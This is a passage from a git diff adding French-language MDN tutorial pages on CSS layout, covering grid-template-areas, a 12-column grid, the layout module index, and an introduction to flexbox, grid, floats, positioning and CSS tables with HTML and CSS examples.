+ +
+

Note : vous pouvez aussi utiliser la valeur -1 pour cibler la dernière rangée de la chaîne  et compter vers l'intérieur à partir de la fin en utilisant des valeurs négatives. Cependant, cela ne fonctionne que pour la chaîne explicite. La valeur -1 ne ciblera pas le rang de fin de trame implicite.

+
+ +

Placer avec « grid-template-areas »

+ +

Une autre façon de placer des éléments dans le quadrillage consiste à utiliser la propriété  {{cssxref("grid-template-areas")}} en donnant un nom au divers éléments du design.

+ +

Supprimez le placement sur les lignes du dernier exemple (ou bien rechargez le fichier pour avoir un nouveau point de départ) et ajoutez ceci à la CSS.

+ +
.container {
+  display: grid;
+  grid-template-areas:
+      "header header"
+      "sidebar content"
+      "footer footer";
+  grid-template-columns: 1fr 3fr;
+  grid-gap: 20px;
+}
+
+header {
+  grid-area: header;
+}
+
+article {
+  grid-area: content;
+}
+
+aside {
+  grid-area: sidebar;
+}
+
+footer {
+  grid-area: footer;
+}
+ +

Actualisez la page et vous verrez que vos éléments ont été placés comme la fois précédente sans que nous ayons besoin d'utiliser un quelconque numéro de ligne !

+ +
+ +
+ +

{{ EmbedLiveSample('Grid_7', '100%', 400) }}

+ +

Les règles pour grid-template-areas sont les suivantes :

+ +
    +
  • toute cellule du quadrillage doit être remplie.
    • +
  • pour couvrir deux cellules, répétez le nom.
    • +
  • pour laisser une cellule vide, utilisez un point . .
    • +
  • les zones doivent être rectangulaires — vous ne pouvez pas avoir une zone en L par exemple.
    • +
  • les zones ne peuvent pas être répétées dans des emplacements différents.
    • +
+ +

Vous pouvez jouer avec la disposition, en modifiant le pied de page pour qu'il ne soit placé que sous le contenu et que la barre latérale soit sur toute la hauteur de la page, par exemple. C'est une très belle façon de décrire une disposition, car elle est évidente à la seule lecture de la CSS.

+ +

« CSS Grid » : une structure de quadrillage

+ +

Les « structures » de quadrillage se fondent sur une série de 12 à 16 rangées ; avec « CSS Grid », vous n'avez pas besoin d'outils tierce partie pour créer la structure — elle est déjà dans les spécifications.

+ +

Chargez le fichier de départ. Il contient un conteneur à 12 colonnes et le même balisage que celui utilisé dans les deux exemples précédents. Nous pouvons maintenant utiliser le placement  sur les lignes pour mettre le contenu sur le quadrillage à 12 colonnes.

+ +
header {
+  grid-column: 1 / 13;
+  grid-row: 1;
+}
+
+article {
+  grid-column: 4 / 13;
+  grid-row: 2;
+}
+
+aside {
+  grid-column: 1 / 4;
+  grid-row: 2;
+}
+
+footer {
+  grid-column: 1 / 13;
+  grid-row: 3;
+}
+ +
+ +
+ +

{{ EmbedLiveSample('Grid_8', '100%', 400) }}

+ +

Si vous utilisez Firefox Grid Inspector (Inspecteur > Mise en page > Grilles) pour superposer les lignes du quadrillage sur le design, vous verrez comment le quadrillage à 12 colonnes fonctionne.

+ +

A 12 column grid overlaid on our design.

+ +

Résumé

+ +

Dans cet aperçu, nous avons parcouru les principales caractéristiques de la mise en page avec les fonctionnalités des « CSS Grid Layout ». Vous devriez pouvoir commencer à l'utiliser dans vos mises en page. Pour en savoir plus sur les spécifications, lisez nos guides sur la disposition en trame ; leurs intitulés sont rappelés ci-dessous.

+ +

Voir également

+ + + +

{{PreviousMenuNext("Learn/CSS/CSS_layout/Flexbox", "Learn/CSS/CSS_layout/Floats", "Learn/CSS/CSS_layout")}}

+ + + +

Dans ce module

+ + diff --git a/files/fr/learn/css/css_layout/index.html b/files/fr/learn/css/css_layout/index.html new file mode 100644 index 0000000000..c8ae618a03 --- /dev/null +++ b/files/fr/learn/css/css_layout/index.html @@ -0,0 +1,72 @@ +--- +title: La mise en page avec le CSS +slug: Apprendre/CSS/CSS_layout +tags: + - CSS + - Débutant + - Floating + - Guide + - Landing + - Layout + - Learn + - Module + - Positionnement + - colonne multiple + - flexbox + - float + - grid +translation_of: Learn/CSS/CSS_layout +--- +
{{LearnSidebar}}
+ +

À ce stade, les principes fondamentaux du CSS ont été vus, comment composer le texte et comment styliser et manipuler les boîtes dans lesquelles se trouve votre contenu. Maintenant, il est temps de regarder comment placer vos boîtes au bon endroit dans la vue et par rapport aux autres boîtes. Les prérequis nécessaires examinés, nous pouvons maintenant nous plonger profondément dans la mise en page avec le CSS, en regardant les différents paramètres d'affichage, les outils modernes tels « flexbox », les grilles CSS et le positionnement, ainsi que quelques méthodes traditionnelles qu'il est encore bon de connaître.

+ +

Prérequis

+ +

Avant de commencer ce module, vous devriez déjà :

+ +
    +
  1. connaître les bases du HTML, telles qu'exposées dans le module Introduction au HTML.
    2. +
  2.  être à l'aise avec les fondamentaux du CSS, telles qu'exposés dans Introduction à CSS.
    3. +
  3.  savoir styliser les boîtes.
    4. +
+ +
+

Note : Si vous travaillez sur un ordinateur, une tablette ou autre périphérique sur lequel vous ne pouvez pas créer vos propres fichiers, vous pourrez essayer (la plupart) les exemples de code dans un programme de codage en ligne tel que JSBin ou Thimble

+
+ +

Guides

+ +

Ces articles fourniront des instructions sur les outils et techniques de mise en page fondamentaux disponibles dans CSS. À la fin des leçons, un exercice vous permettra de vérifier la compréhension des méthodes de mise en page en créant votre propre page web.

+ +
+
Introduction à la mise en page CSS
+
Cet article récapitule quelques-unes des fonctionnalités de mise en page CSS que nous avons déjà abordées dans les modules précédents — telles que les diverses valeurs de {{cssxref ("display")}} — et présente certains des concepts que nous couvrirons dans de ce module.
+
Cours normal
+
Les éléments se placent d'eux‑même sur les pages web selon un cours normal — sauf à ce nous fassions quelque chose pour changer cela. Cet article explique les fondamentaux du cours normal pour permettre de comprendre comment le modifier.
+
Flexbox
+
Flexbox est une méthode de mise en page unidimensionnelle pour disposer les éléments en lignes ou en colonnes. Les éléments s'adaptent pour remplir de l'espace supplémentaire et se rétractent pour s'insérer dans des espaces plus petits. Cet article explique tous les fondamentaux.
+
Grilles
+
CSS Grid Layout est un système de mise en page bidimensionnelle pour le web. Il vous permet de disposer le contenu en lignes et en colonnes, et possède de nombreuses fonctionnalités qui simplifient la construction de mises en page complexes. Cet article vous donnera tout ce que vous devez savoir pour commencer avec la mise en page.
+
Flotteurs
+
À l'origine, pour les images flottantes à l'intérieur de blocs de texte, la propriété {{cssxref ("float")}} est devenue l'un des outils les plus couramment utilisés pour créer des mises en page sur plusieurs colonnes sur des pages Web. Avec l'avènement de Flexbox et de Grid, il est maintenant revenu à son objectif initial, comme l'explique cet article.
+
Positionnement
+
Le positionnement vous permet d'extraire des éléments du flux de mise en page normal du document et de les faire se comporter différemment, par exemple en se mettant l'un sur l'autre ou en restant toujours au même endroit dans la fenêtre du navigateur. Cet article indique les différentes valeurs pour {{cssxref ("position")}} et comment les utiliser.
+
Disposition sur plusieurs colonnes
+
L'indication d'une disposition sur plusieurs colonnes vous permet de placer le contenu en colonnes, comme vous pouvez le voir sur un journal. Cet article explique comme utiliser cette fonctionnalité.
+
Méthodes de mise en page traditionnelles
+
Les systèmes de grilles sont une fonctionnalité très courante pour les mises en page avec les CSS. Avant la mise en œuvre de « CSS Grid Layout », celle‑ci s'opérait avec des flotteurs ou autres dispositions. Imaginez la mise en page comme un ensemble de colonnes (par ex. 4, 6 ou 12), puis disposez les colonnes de contenu dans ces colonnes imaginaires. Dans cet article, nous exposerons comment ces méthodes plus anciennes fonctionnent, afin que vous compreniez comment elles étaient utilisées si vous travaillez sur un projet ancien.
+
Prise en charge des navigateurs plus anciens
+
+

Dans ce module, nous vous recommandons d'utiliser Flexbox et Grid comme principales méthodes de mise en page pour votre design. Cependant, il y aura des visiteurs de votre site utilisant des navigateurs plus anciens ou des navigateurs ne prenant pas en charge les méthodes que vous avez utilisées. Ce sera toujours le cas sur le web — au fur et à mesure du développement de nouvelles fonctionnalités, les priorités données varieront. Cet article explique comment utiliser les techniques modernes du web sans exclure les utilisateurs des anciennes.

+
+
Compréhension des fondamentaux de la mise en page
+
Une évaluation pour tester vos connaissances des différentes méthodes de mise en page Web.
+
+ +

Voir aussi

+ +
+
Exemples pratiques de positionnement
+
 Cet article montre comment construire quelques exemples réalistes pour illustrer les possibilités du positionnement.
+
diff --git a/files/fr/learn/css/css_layout/introduction/index.html b/files/fr/learn/css/css_layout/introduction/index.html new file mode 100644 index 0000000000..c8ffefec6c --- /dev/null +++ b/files/fr/learn/css/css_layout/introduction/index.html @@ -0,0 +1,716 @@ +--- +title: Introduction à la mise en page en CSS +slug: Apprendre/CSS/CSS_layout/Introduction +tags: + - Apprendre + - Article + - Boîtes flexibles + - CSS + - Débutant + - Flottants + - Flux + - Grille + - Intro + - Mise en page + - Positionnement + - Tableaux +translation_of: Learn/CSS/CSS_layout/Introduction +--- +
{{LearnSidebar}}
+ +
{{NextMenu("Apprendre/CSS/CSS_layout/Normal_Flow", "Apprendre/CSS/CSS_layout")}}
+ +

Cet article récapitule quelques fonctionnalités de mise en page CSS que l'on a déjà côtoyées dans les modules précédents — telles que les différentes valeurs de {{cssxref("display")}} — et en introduit de nouveaux que nous aborderons dans ce module.

+ + + + + + + + + + + + +
Prérequis :Les fondamentaux du HTML (étudiez Introduction au HTML) et avoir une idée de la manière dont la CSS fonctionne (étudiez Introduction aux CSS).
Objectif :Vous donner un aperçu des techniques de mise en page des CSS. Chaque technique peut être apprise plus précisément dans des tutoriels dédiés.
+ +

Les techniques de mise en page des CSS nous permettent de prendre des éléments contenus dans une page web et d'en contrôler le placement par rapport à leur position par défaut dans le flot d'une mise en page courante, aux autres éléments environnants, à leur conteneur parents ou à la fenêtre principale d'affichage. Les techniques de mises en page abordées en détail dans ce module sont:

+ +
    +
  • le cours normal
    • +
  • la propriété {{cssxref("display")}}
    • +
  • Flexbox
    • +
  • les trames
    • +
  • les flotteurs
    • +
  • le positionnement
    • +
  • la mise en page des tableaux
    • +
  • la disposition sur plusieurs colonnes
    • +
+ +

Chaque technique à ses usages, ses avantages et ses inconvénients. Aucune technique n'a été conçue pour être utilisée isolément. En comprenant ce pourquoi chaque méthode a été conçue, vous saurez utiliser le meilleur outil de mise en page dans chaque situation.

+ +

Cours normal

+ +

Le cours normal est la manière dont le navigateur présente les pages HTML par défaut quand vous ne faites rien pour contrôler la mise en page. Regardons rapidement un exemple HTML:

+ +
<p>J'aime mon chat.</p>
+
+<ul>
+  <li>Acheter des croquettes</li>
+  <li>Exercice</li>
+  <li>Haut les cœurs, ami</li>
+</ul>
+
+<p>La fin !</p>
+ +

Par défaut, le navigateur affichera ce code ainsi :

+ +

{{ EmbedLiveSample('Cours_normal', '100%', 200) }}

+ +

Notez que le HTML est affiché dans l'ordre exact où il est dans le code source : les éléments s'empilent les uns sur les autres — le premier paragraphe, puis la liste non ordonnée suivie par le second paragraphe.

+ +

Les éléments disposés en empilement sont désignés comme étant des éléments blocs, par opposition aux éléments en ligne qui apparaissent l'un après l'autre telle la succession de mots distincts d'un paragraphe.

+ +
+

Note: « Block Direction » (Sens d'empilement) définit le sens dans lequel les éléments blocs sont disposés. Le sens d'empilement est vertical pour une langue comme l'anglais dont le mode d'écriture est horizontal. Ce sens sera horizontal pour toute langue avec un mode d'écriture vertical, comme le japonais. La « Inline Direction » (sens d'écriture) correspond à celle dont les contenus en ligne (comme une phrase) sont disposés.

+
+ +

Lorsque vous utilisez les CSS pour faire une mise en page, vous déplacez les éléments de leur cours normal ; toutefois, pour la plupart des éléments de la page, ce cours normal crée exactement la mise en page dont vous avez besoin. C'est pourquoi il est si important de commencer avec un document HTML bien structuré, car vous pouvez alors travailler la façon dont les choses seront disposées par défaut au lieu de lutter contre cette disposition.

+ +

Les méthodes des CSS pouvant changer le placement des éléments sont les suivantes :

+ +
    +
  • La propriété {{cssxref("display")}} — les valeurs standards comme block, inline ou inline-block peuvent changer la manière dont l'élément se comporte dans le cours normal (voir Types de boîtes pour plus d'informations). Ensuite, nous disposons de méthodes de mise en page autonomes activées par l'intermédiaire d'une valeur de display, par exemple les Grilles CSS ou Flexbox.
    • +
  • Flotteurs — appliquer à {{cssxref("float")}} une valeur comme left peut créer une juxtaposition d'un élément bloc à côté d'un autre, tout comme les images « baignent » dans le texte dans les mises en page de magazines.
    • +
  • La propriété {{cssxref("position")}} — vous permet de contrôler avec précision le placement de boîtes dans d'autres boîtes. static est le placement par défaut dans le cours, mais vous pouvez manipuler les éléments pour qu'ils se comportent différemment à l'aide d'autres valeurs, par exemple en les fixant en haut à gauche de la fenêtre d'affichage du navigateur.
    • +
  • Mise en page de tableaux — les fonctions conçues pour styliser les parties d'un tableau HTML peuvent être utilisées sur des éléments non tableau en utilisant display: table et les propriétés associées.
    • +
  • Mise en page sur plusieurs colonnes — Les propriétés Multi-column peuvent faire qu'un contenu bloc soit disposé en colonnes, comme dans un journal.
    • +
+ +

La propriété « display »

+ +

Les principales modalités de mise en page avec les CSS relèvent toutes des valeurs de la propriété display. Cette propriété permet de modifier l'affichage par défaut des éléments. Chaque chose dans le cours normal a une valeur de propriété display. Les éléments se règlent sur cette valeur pour définir leur comportement par défaut. Par exemple, le fait que des paragraphes en langue anglaise se placent les uns au dessus des autres provient du fait que leur style est display: block. Si vous créez un lien sur un texte à l'intérieur d'un paragraphe, ce lien reste aligné avec le reste du texte et ne s'affiche pas sur une nouvelle ligne. C'est parce que l'élément {{htmlelement("a")}} est display: inline par défaut.

+ +

Vous pouvez modifier le comportement d'affichage par défaut. Par exemple, l'élément {{htmlelement("li")}} est display: block par défaut, ce qui signifie que les éléments de la liste s'afficheront l'un sous l'autre dans un document en anglais. Si nous changeons la valeur de display pour inline, ils s'afficheront alors les uns à côté des autres, comme les mots dans une phrase. Le fait que vous puissiez changer la valeur d'affichage de n'importe quel élément signifie que vous pouvez choisir des éléments HTML pour leur signification sémantique, sans vous soucier de leur apparence. Leur apparence est quelque chose que vous pouvez modifier.

+ +

En plus de pouvoir changer la présentation par défaut en faisant passer un élément de block à inline et vice versa, il existe des méthodes de mise en page accrues commençant avec une valeur particulière de display. Cependant, si vous les utilisez, vous devrez généralement invoquer des propriétés supplémentaires. Les deux valeurs les plus importantes pour notre discussion sur la mise en page sont display: flex et display: grid.

+ +

Flexbox

+ +

Flexbox est l'abréviation pour Flexible Box Layout Module (Mise en page de boîtes modulaires), conçu pour faciliter une disposition alignée sur une dimension — soit en ligne, soit en colonne. Pour utiliser flexbox, appliquez display: flex à l'élément parent des éléments à placer ; tous ses enfants directs deviennent alors des éléments flex. Voyons cela avec un simple exemple.

+ +

Le balisage HTML ci-dessous crée un élément conteneur de la classe wrapper, dans lequel nous plaçons 3 éléments {{htmlelement("div")}}. Par défaut ces éléments s'afficheront en tant qu'éléments blocs, les uns sous les autres, dans ce document en langue française.

+ +

Mais nous ajoutons display: flex sur le parent ; les trois éléments se placent maintenant côte à côte. Cela provient du fait qu'ils sont devenus des éléments flex et qu'ils utilisent les valeurs initiales données par flexbox. Ils sont disposés alignés, car la valeur initiale de {{cssxref("flex-direction")}} est row. Ils apparaissent serrés au haut de l'élément le plus haut, car la valeur initiale de la propriété {{cssxref("align-items")}} est stretch. Ce qui signifie que les éléments se casent dans la hauteur du conteneur flex défini dans ce cas par l'élément le plus grand. Les éléments s'alignent à partir de l'origine du conteneur à la fin sans laisser d'espace.

+ +
+ + +
.wrapper {
+  display: flex;
+}
+
+ +
<div class="wrapper">
+  <div class="box1">Un</div>
+  <div class="box2">Deux</div>
+  <div class="box3">Trois</div>
+</div>
+
+
+ +

{{ EmbedLiveSample('Flex_1', '300', '200') }}

+ +

En plus des propriétés ci-dessus applicables au conteneur flex, il existe des propriétés applicables aux éléments flex. Ces propriétés, entre autres choses, peuvent changer le mode d'adaptation des éléments, leur permettant de s'étaler et de se resserrer pour s'adapter à l'espace disponible.

+ +

À titre d'exemple, nous pouvons donner la valeur 1 à la propriété {{cssxref("flex")}} des éléments enfants. Tous les éléments vont grandir jusqu'à remplir le conteneur, au lieu de laisser de l'espace à la suite. S'il y a assez d'espace, les éléments vont devenir plus larges ; s'il y en a moins ils vont devenir plus étroits. En outre, si vous ajoutez un autre élément au balisage, les éléments vont rapetisser pour lui faire de la place — ils ajusteront leur taille pour prendre la même quantité d'espace, quel qu'il soit.

+ +
+ + +
.wrapper {
+    display: flex;
+}
+
+.wrapper > div {
+    flex: 1;
+}
+
+ +
<div class="wrapper">
+    <div class="box1">Un</div>
+    <div class="box2">Deux</div>
+    <div class="box3">Trois</div>
+</div>
+
+
+ +

{{ EmbedLiveSample('Flex_2', '300', '200') }}

+ +
+

Note : Ce n'est qu'une très brève introduction aux possibilités de Flexbox : pour en apprendre plus, voyez notre article sur Flexbox.

+
+ +

Disposition en trame

+ +

Alors que « flexbox » est conçu pour une disposition unidimensionnelle, « Grid Layout » (Disposition tramée) est bidimensionnel — il place les choses en rangées et colonnes.

+ +

À nouveau, vous basculez en disposition tramée en donnant une valeur appropriée à display — display: grid. L'exemple ci-dessous utilise un balisage semblable à celui de l'exemple flex : un conteneur et quelques éléments enfants. Outre display: grid, nous définissons une trame de placement sur le parent avec les propriétés {{cssxref("grid-template-rows")}} et {{cssxref("grid-template-columns")}}. Nous avons défini trois colonnes de 1fr chacune et deux lignes de 100px. Il n'est pas nécessaire de mettre de règles sur les éléments enfants ; il seront automatiquement placés dans les cellules de trame créées.

+ +
+ + +
.wrapper {
+    display: grid;
+    grid-template-columns: 1fr 1fr 1fr;
+    grid-template-rows: 100px 100px;
+    grid-gap: 10px;
+}
+
+ +
<div class="wrapper">
+    <div class="box1">Un</div>
+    <div class="box2">Deux</div>
+    <div class="box3">Trois</div>
+    <div class="box4">Quatre</div>
+    <div class="box5">Cinq</div>
+    <div class="box6">Six</div>
+</div>
+
+
+ +

{{ EmbedLiveSample('Grid_1', '300', '330') }}

+ +

Une fois la trame créée, vous pouvez y placer explicitement les éléments au lieu de compter sur le placement automatique. Dans ce second exemple ci‑dessous nous avons défini la même trame, mais cette fois avec trois éléments enfants. Nous avons défini début et fin de ligne pour chaque élément avec les propriétés {{cssxref("grid-column")}} et {{cssxref("grid-row")}}. Les éléments occupent alors plusieurs trames.

+ +
+ + +
.wrapper {
+    display: grid;
+    grid-template-columns: 1fr 1fr 1fr;
+    grid-template-rows: 100px 100px;
+    grid-gap: 10px;
+}
+
+.box1 {
+    grid-column: 2 / 4;
+    grid-row: 1;
+}
+
+.box2 {
+    grid-column: 1;
+    grid-row: 1 / 3;
+}
+
+.box3 {
+    grid-row: 2;
+    grid-column: 3;
+}
+
+ +
<div class="wrapper">
+    <div class="box1">Un</div>
+    <div class="box2">Deux</div>
+    <div class="box3">Trois</div>
+</div>
+
+
+ +

{{ EmbedLiveSample('Grid_2', '300', '330') }}

+ +
+

Note : Ces deux exemples ne sont qu'une petite partie de la puissance des dispositions tramées ; pour en savoir plus, voyez l'article Disposition tramée.

+
+ +

La suite de ce guide porte sur d'autres méthodes de mise en page. Elles ont moins d'importance pour la structure générale de la mise en page, mais peuvent tout de même vous aider à réaliser des tâches spécifiques. En comprenant la nature de chaque tâche de mise en page, vous découvrez rapidement, en regardant un composant particulier de votre design, que le type de mise en page le plus adapté est souvent évident.

+ +

Flotteurs (boîtes flottantes)

+ +

Faire flotter un élément change son comportement ainsi que celui de l'élément qui le suit dans le cours normal. L'élément est déplacé à gauche ou à droite. Il est sorti du cours normal. Le contenu environnant l'enveloppe comme si l'élément flottait dans ce contenu.

+ +

La propriété {{cssxref("float")}} a quatre valeurs possibles :

+ +
    +
  • left — fait flotter l'élément sur la gauche.
    • +
  • right — fait flotter l'élément sur la droite.
    • +
  • none — indique que rien ne flotte. C'est la valeur par défaut.
    • +
  • inherit — indique que la valeur de la propriété float sera héritée de celle de l'élément parent.
    • +
+ +

Dans l'exemple ci‑dessous nous faisons flotter un élément <div> à gauche avec un valeur pour la propriété {{cssxref("margin")}} sur la droite pour éloigner le texte de l'élément. Cela donne un effet de texte enveloppant cette boîte. C'est l'essentiel de ce qu'il faut savoir à propos des boîtes flottantes dans le design du web moderne.

+ +
+ + +
<h1>Exemple simple de boîte flottante</h1>
+
+<div class="box">Boîte flottante</div>
+
+<p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p>
+
+
+ +
+.box {
+    float: left;
+    width: 150px;
+    height: 150px;
+    margin-right: 30px;
+}
+
+
+ +

{{ EmbedLiveSample('Float_1', '100%', 600) }}

+ +
+

Note : Les boîtes flottantes sont précisément expliquées dans la leçon à propos des propriétés float et clear. Précédant les techniques telles que Flexbox et les trames, les boîtes flottantes étaient utilisées comme méthode pour créer des dispositions en colonnes. Vous rencontrerez peut‑être encore ce méthodes sur le Web ; nous les expliciterons dans la leçon sur les Méthodes de mise en page traditionnelles.

+
+ +

Techniques de positionnement

+ +

Le positionnement permet de déplacer un élément de l'endroit où il serait placé dans le cours normal vers un autre endroit. Le positionnement n'est pas une méthode pour créer des mises en page principales, il s'agit plutôt de gérer et d'affiner la position d'éléments donnés sur la page.

+ +

Il existe cependant des techniques utiles pour certains modes de positionnement se fondant sur la propriété {{cssxref("position")}}. Comprendre le positionnement aide aussi à comprendre le cours normal et le fait de déplacer un objet hors du cours normal.

+ +

Il y a cinq types de positionnement à connaître :

+ +
    +
  • positionnement statique : valeur par défaut reçue par chaque élément — il signifie simplement « placer l'élément à sa position normale suivant le cours normal de mise en page du document — rien de spécial à constater ici ».
    • +
  • positionnement relatif : modification de la position d'un élément dans la page — il est déplacé par rapport à sa position dans le cours normal — y compris la possibilité de chevaucher d'autres éléments de la page.
    • +
  • positionnement absolu : déplacement d'un élément indépendamment du cours normal de positionnement, comme s'il était placé sur un calque séparé. À partir de là, vous pouvez le fixer à une position relative au bord de la page de l'élément <html> (ou de son plus proche élément ancêtre positionné). Ce positionnement est utile pour créer des effets de mise en page complexes tels que des boîtes à onglets où différents panneaux de contenu sont superposés, affichés ou cachés comme vous le souhaitez, ou des panneaux d'information hors de l'écran par défaut, mais qui peuvent glisser à l'écran à l'aide d'un bouton de contrôle.
    • +
  • positionnement fixe : tout à fait semblable au précédent, à l'exception que l'élément est fixé par rapport à la vue du navigateur et non d'un autre élément. C'est très pratique pour créer des effets tels qu'un menu de navigation persistant, toujours au même endroit sur l'écran, quand l'utilisateur fait défiler le reste de la page.
    • +
  • positionnement collant : nouvelle méthode de positionnement qui fait qu'un élément se comporte comme position: static jusqu'à un certain décalage de la vue au delà duquel il se comporte comme si sa propriété était position: fixed.
    • +
+ +

Exemple simple de positionnement

+ +

Afin de se familiariser avec ces techniques de mises en page, nous allons vous montrer quelques exemples. Nos exemples utiliserons tous le même code HTML, qui est celui-ci:

+ +
<h1>Positionnement</h1>
+
+<p>Je suis un élément de niveau bloc de base.</p>
+<p class="positioned">Je suis un élément de niveau bloc de base.</p>
+<p>Je suis un élément de niveau bloc de base.</p>
+ +

Ce code HTML sera stylisé par défaut en utilisant la CSS suivante :

+ +
body {
+  width: 500px;
+  margin: 0 auto;
+}
+
+p {
+    background-color: rgb(207,232,220);
+    border: 2px solid rgb(79,185,227);
+    padding: 10px;
+    margin: 10px;
+    border-radius: 5px;
+}
+
+ +

Le rendu est le suivant:

+ +

{{ EmbedLiveSample('Exemple_simple_de_positionnement', '100%', 300) }}

+ +

Positionnement relatif

+ +

Le positionnement relatif vous permet de décaler un élément de la position qu'il occuperait par défaut dans le cours normal de la mise en page. Ce positionnement permet de déplacer légèrement une icône pour l'aligner avec une étiquette de texte. Pour faire cette opération, nous ajoutons la règle suivante pour réaliser le positionnement relatif :

+ +
.positioned {
+  position: relative;
+  top: 30px;
+  left: 30px;
+}
+ +

Ici, nous donnons au paragraphe médian à la propriété  {{cssxref("position")}} la valeur relative — ce qui ne fait rien en soi, alors nous ajoutons également les propriétés {{cssxref("top")}} et {{cssxref("left")}}. Elles servent à déplacer l'élément en question vers le bas et à droite — cela pourrait sembler être l'opposé de ce à quoi vous vous attendiez, mais représentez-vous l'élément comme poussé à partir de ses côtés gauche et haut : il en résulte un déplacement vers la droite et vers le bas.

+ +

Ajouter ce code donne le résultat suivant :

+ +
+ + +
.positioned {
+  position: relative;
+  background: rgba(255,84,104,.3);
+  border: 2px solid rgb(255,84,104);
+  top: 30px;
+  left: 30px;
+}
+
+ +

{{ EmbedLiveSample('Relative_1', '100%', 300) }}

+ +

Positionnement absolu

+ +

Le positionnement absolu s'utilise pour sortir totalement un élément du cours normal de la mise en page et le placer selon son décalage par rapport à un bloc conteneur.

+ +

En revenant à l'exemple sans positionnement, nous pourrions ajouter la règle CSS suivante pour implémenter un positionnement absolu :

+ +
.positioned {
+  position: absolute;
+  top: 30px;
+  left: 30px;
+}
+ +

Ici pour notre paragraphe médian, nous donnons à la propriété {{cssxref("position")}} la valeur absolute et les mêmes valeurs aux propriétés {{cssxref("top")}} et {{cssxref("left")}} que précédemment. Ajouter ce code, cependant, donnera le résultat suivant :

+ +
+ + +
.positioned {
+  position: absolute;
+  background: rgba(255,84,104,.3);
+  border: 2px solid rgb(255,84,104);
+  top: 30px;
+  left: 30px;
+}
+
+ +

{{ EmbedLiveSample('Absolute_1', '100%', 300) }}

+ +

C'est vraiment différent ! L'élément positionné a maintenant complètement été séparé du reste de la mise en page et se situe au haut de celle-ci. Les deux autres paragraphes se trouvent maintenant ensemble comme si leur frère positionné n'existait pas. Les propriétés {{cssxref("top")}} et {{cssxref("left")}} ont des effets différents pour un positionnement absolu comparativement à un relatif. Dans ce cas les décalages ont été calculés à compter du haut et du côté gauche de la la page. Il est possible de modifier l'élément parent conteneur ; nous verrons cela dans la leçon sur le positionnement.

+ +

Positionnement fixé

+ +

Le positionnement fixé sort l'élément du cours normal de la même façon que le positionnement absolu. Toutefois, les décalages ne sont plus relatifs au conteneur, mais à la vue. L'élément étant fixé par rapport à la vue, nous pourrons créer des effets comme celui d'un menu restant fixé au haut de la fenêtre alors que la page défile sous lui.

+ +

Pour cet exemple, l'HTML est constitué de trois paragraphes de texte, de façon à pouvoir les faire défiler, et d'une boîte à laquelle nous avons donné la propriété position: fixed.

+ +
<h1>Positionnement fixé</h1>
+
+<div class="positioned">Fixé</div>
+
+<p>Paragraphe 1.</p>
+<p>Paragraphe 2.</p>
+<p>Paragraphe 3.</p>
+
+ +
+ + +
.positioned {
+    position: fixed;
+    top: 30px;
+    left: 30px;
+}
+
+ +

{{ EmbedLiveSample('Fixed_1', '100%', 200) }}

+ +

Positionnement collant

+ +

Le positionnement collant est la dernière méthode de positionnement à notre disposition. Elle mélange le positionnement statique par défaut avec le positionnement fixé. Lorsqu'un élément a la propriété position: sticky, il défile dans le cours normal jusqu'à atteindre un décalage défini de la fenêtre de vue. A ce moment-là, il est « collé » comme si position: fixed lui était appliqué.

+ +
+ + +
.positioned {
+  position: sticky;
+  top: 30px;
+  left: 30px;
+}
+
+ +

{{ EmbedLiveSample('Sticky_1', '100%', 200) }}

+ +
+

Note : pour plus de précisions à propos du positionnement, voir l'article Positionnement.

+
+ +

Les tableaux CSS

+ +

Les tableaux HTML sont utiles pour afficher des données sous forme de tableaux, mais il y a des années de cela — avant même que les bases des CSS soit prises en charge de manière fiable par les navigateurs — les développeurs web avaient l'habitude d'utiliser les tableaux pour agencer toute la mise en page — y plaçant les en‑têtes, les pieds-de-page, diverses colonnes, etc. en multiples lignes et colonnes de tableaux. Cela fonctionnait en son temps, mais il y avait beaucoup de problèmes — la mise en page par tableau n'est pas souple, très lourde en balisage, difficile à déboguer et sémantiquement erronée (par ex., les utilisateurs de lecteur d'écran avaient des problèmes de navigation avec cette disposition en tableau).

+ +

La façon dont un tableau est affiché sur une page web quand vous utilisez le balisage « table » résulte d'un ensemble de propriétés des CSS définissant la composition du tableau. Ces propriétés peuvent être utilisées pour placer des éléments qui ne sont pas des tableaux, utilisation quelquefois désignée sous le vocable « utiliser des tableaux CSS ».

+ +

Prenons un exemple. Tout d'abord, un simple balisage qui crée un formulaire HTML. Chaque élément en entrée a une étiquette ; nous avons également inclus une légende à l'intérieur d'un paragraphe. Chaque paire étiquette/entrée est incorporée dans un élément {{htmlelement("div")}} pour les besoins de la mise en page.

+ +
<form>
+  <p>Tout d'abord, dites‑nous votre nom et votre âge.</p>
+  <div>
+    <label for="fname">Prénom :</label>
+    <input type="text" id="fname">
+  </div>
+  <div>
+    <label for="lname">Nom :</label>
+    <input type="text" id="lname">
+  </div>
+  <div>
+    <label for="age">Âge :</label>
+    <input type="text" id="age">
+  </div>
+</form>
+ +

Maintenant, le CSS pour cet exemple. Le gros de la CSS est plutôt ordinaire, à l'exception de l'utilisation de la propriété {{cssxref("display")}}. Les éléments {{htmlelement("form")}}, {{htmlelement("div")}} et {{htmlelement("label")}} ainsi que {{htmlelement("input")}} ont été configurés pour disposés en tableau, en lignes de tableau et en cellules de tableau respectivement — à la base, ils se comporteront comme dans le cas d'un balisage de tableau HTML, avec pour résultat un bon alignement par défaut entre les étiquettes et le texte. Tout ce qu'il nous reste à faire est d'ajouter un peu d'ampleur, des marges, etc. pour que tout soit agréable visuellement et c'est tout.

+ +

Notez que les propriétés display: table-caption; et caption-side: bottom; ont été affectées au paragraphe légende — il sera donc disposé comme une légende de tableau ({{htmlelement("caption")}})  placée en bas de la table pour des raisons de style, même si son balisage est placé avant les éléments input dans le code source. Voilà une bonne dose de souplesse.

+ +
html {
+  font-family: sans-serif;
+}
+
+form {
+  display: table;
+  margin: 0 auto;
+}
+
+form div {
+  display: table-row;
+}
+
+form label, form input {
+  display: table-cell;
+  margin-bottom: 10px;
+}
+
+form label {
+  width: 200px;
